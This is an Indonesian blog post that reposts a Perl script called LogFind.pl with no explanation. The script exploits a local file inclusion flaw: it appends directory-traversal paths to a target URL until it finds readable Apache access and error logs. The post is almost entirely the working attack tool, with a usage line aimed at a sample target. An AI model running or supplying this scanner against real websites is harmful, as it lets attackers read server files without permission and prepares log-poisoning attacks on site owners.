Kamis, 02 Februari 2012

find HTTP Log`s [Perl]

ni ada source lagi an dapet.....
find HTTP Log`s--==



================================================

#!/usr/bin/perl
   2.
      use LWP::UserAgent;
   3.
      my $ua = LWP::UserAgent->new;
   4.
         $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');
   5.
      use strict;
   6.
       
   7.
      sub usage{
   8.
      print &quot;\nLogFind.pl <max dir transversal> <LFI Url>\n&quot;;
   9.
      print &quot;LogFind.pl 5 http://ww.hackxors.com/view.php?file=\n&quot;;
  10.
      print &quot;[+] This will go through the first bunch of logs going back one directory each loop until its done five transversals\n[+] Then just go through the other logs in /var/, /etc/, etc..\n\n&quot;;
  11.
      exit;
  12.
      }
  13.
       
  14.
      sub getreq($){
  15.
         my $url = $_[0];
  16.
         my $request = HTTP::Request->new(GET => $url);
  17.
         my $myrequest = $ua->request($request);
  18.
         if($myrequest->is_success){
  19.
            return $myrequest->content;
  20.
         }
  21.
         else{
  22.
            print &quot;[e] Connection error - &quot; . $myrequest->status_line . &quot;\n&quot;;
  23.
            return 0;
  24.
         }
  25.
      }
  26.
       
  27.
      &usage unless @ARGV==2;
  28.
      my($max,$url,$tmp,$logtext,@flogs,@slogs,@checks,@wins) = (@ARGV);
  29.
       
  30.
      @flogs = ( #For directory transversal
  31.
      &quot;apache/logs/error_log&quot;,
  32.
      &quot;apache/logs/error.log&quot;,
  33.
      &quot;apache/logs/access_log&quot;,
  34.
      &quot;apache/logs/access.log&quot;,
  35.
      &quot;logs/error_log&quot;,
  36.
      &quot;logs/error.log&quot;,
  37.
      &quot;logs/access_log&quot;,
  38.
      &quot;logs/access.log&quot;,
  39.
      );
  40.
       
  41.
      @slogs = ( #Already transversed LoLz
  42.
      &quot;../../../../../../../../../../etc/httpd/logs/error_log&quot;,
  43.
      &quot;../../../../../../../../../../etc/httpd/logs/error.log&quot;,
  44.
      &quot;../../../../../../../../../../etc/httpd/logs/access_log&quot;,
  45.
      &quot;../../../../../../../../../../etc/httpd/logs/access.log&quot;,
  46.
      &quot;../../../../../../../../../../var/log/apache/error_log&quot;,
  47.
      &quot;../../../../../../../../../../var/log/apache/error.log&quot;,
  48.
      &quot;../../../../../../../../../../var/log/apache/access_log&quot;,
  49.
      &quot;../../../../../../../../../../var/log/apache/access.log&quot;,
  50.
      &quot;../../../../../../../../../../var/log/apache2/error_log&quot;,
  51.
      &quot;../../../../../../../../../../var/log/apache2/error.log&quot;,
  52.
      &quot;../../../../../../../../../../var/log/apache2/access_log&quot;,
  53.
      &quot;../../../../../../../../../../var/log/apache2/access.log&quot;,
  54.
      &quot;../../../../../../../../../../var/www/logs/error_log&quot;,
  55.
      &quot;../../../../../../../../../../var/www/logs/error.log&quot;,
  56.
      &quot;../../../../../../../../../../var/www/logs/access_log&quot;,
  57.
      &quot;../../../../../../../../../../var/www/logs/access.log&quot;,
  58.
      &quot;../../../../../../../../../../usr/local/apache/logs/error_log&quot;,
  59.
      &quot;../../../../../../../../../../usr/local/apache/logs/error.log&quot;,
  60.
      &quot;../../../../../../../../../../usr/local/apache/logs/access_log&quot;,
  61.
      &quot;../../../../../../../../../../usr/local/apache/logs/access.log&quot;,
  62.
      &quot;../../../../../../../../../../var/log/error_log&quot;,
  63.
      &quot;../../../../../../../../../../var/log/error.log&quot;,
  64.
      &quot;../../../../../../../../../../var/log/access_log&quot;,
  65.
      &quot;../../../../../../../../../../var/log/access.log&quot;
  66.
      );
  67.
       
  68.
       
  69.
      $logtext = &quot;GET (.*?) HTTP&quot;;
  70.
      foreach my $log(@flogs){
  71.
      $tmp=&quot;&quot;;
  72.
         for(1..$max){
  73.
            $tmp .= &quot;../&quot;;
  74.
            push(@checks,$url.$tmp.$log.&quot;&quot;);
  75.
         }
  76.
      }
  77.
      foreach(@slogs){
  78.
         push(@checks,$url.$_.&quot;&quot;);
  79.
      }
  80.
      foreach my $chk(@checks){
  81.
         if(&getreq($chk)=~m/$logtext/){
  82.
            print &quot;[+] Win - $chk\n&quot;;
  83.
            push(@wins,$chk);
  84.
         }
  85.
         else{
  86.
            print &quot;[+] Fail - $chk\n&quot;;
  87.
         }
  88.
      }
  89.
      print &quot;[+] Wins:\n&quot;;
  90.
      foreach(@wins){
  91.
         print &quot;$_\n&quot;;
  92.
      }

sumber : ABH

find HTTP Log`s [Perl] Rating: 4.5 Diposkan Oleh: r007-

0 komentar:

Posting Komentar